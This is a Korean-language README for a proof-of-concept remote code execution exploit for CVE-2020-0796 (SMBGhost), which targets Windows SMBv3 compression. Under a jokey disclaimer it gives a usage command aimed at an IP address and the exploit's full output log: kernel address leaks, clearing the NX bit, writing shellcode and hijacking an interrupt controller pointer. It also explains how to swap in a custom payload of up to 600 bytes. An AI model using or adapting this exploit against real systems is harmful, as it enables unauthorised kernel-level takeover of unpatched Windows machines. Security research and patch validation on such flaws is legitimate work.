
CVE-2020-0796 (SMBGhost)에 대한 개념 증명 원격 코드 실행 익스플로잇으로, Windows SMBv3 압축 취약점을 대상으로 하며 커널 셸코드 주입을 포함합니다.
CVE-2020-0796 "SMBGhost"에 대한 RCE PoC
데모 목적으로만 제공됩니다! 참고용으로만 사용하세요. 정말입니다. 이 코드는 제 랩 환경 외부에서는 테스트되지 않았습니다. 빠르게 작성되었으며 더 안정적으로 만들기 위해 약간의 작업이 필요합니다. 가끔 BSOD가 발생합니다. 자기 교육 외의 목적으로 사용하는 것은 극도로 나쁜 생각입니다. 컴퓨터가 불타오를 것입니다. 강아지들이 죽을 것입니다.
이제 그 이야기는 접어두고....
사용 예:
$SMBGhost_RCE_PoC python exploit.py -ip 192.168.142.131
[+] found low stub at phys addr 13000!
[+] PML4 at 1ad000
[+] base of HAL heap at fffff79480000000
[+] ntoskrnl entry at fffff80645792010
[+] found PML4 self-ref entry 1eb
[+] found HalpInterruptController at fffff79480001478
[+] found HalpApicRequestInterrupt at fffff80645cb3bb0
[+] built shellcode!
[+] KUSER_SHARED_DATA PTE at fffff5fbc0000000
[+] KUSER_SHARED_DATA PTE NX bit cleared!
[+] Wrote shellcode at fffff78000000a00!
[+] Press a key to execute shellcode!
[+] overwrote HalpInterruptController pointer, should have execution shortly...
exploit.py의 USER_PAYLOAD를 교체하세요. 최대 600바이트입니다. 더 많은 공간이 필요하면 커널 셸 코드를 직접 수정하세요.
lznt1 코드는 여기에서 가져왔습니다. SRVNET 버퍼 헤더를 손상시키되 충돌을 일으키지 않는 "bad compression" 함수를 추가하기 위해 수정되었습니다.
사용한 방법에 대한 자세한 내용은 Ricera Security의 훌륭한 분석 글을 참조하세요: https://ricercasecurity.blogspot.com/2020/04/ill-ask-your-body-smbghost-pre-auth-rce.html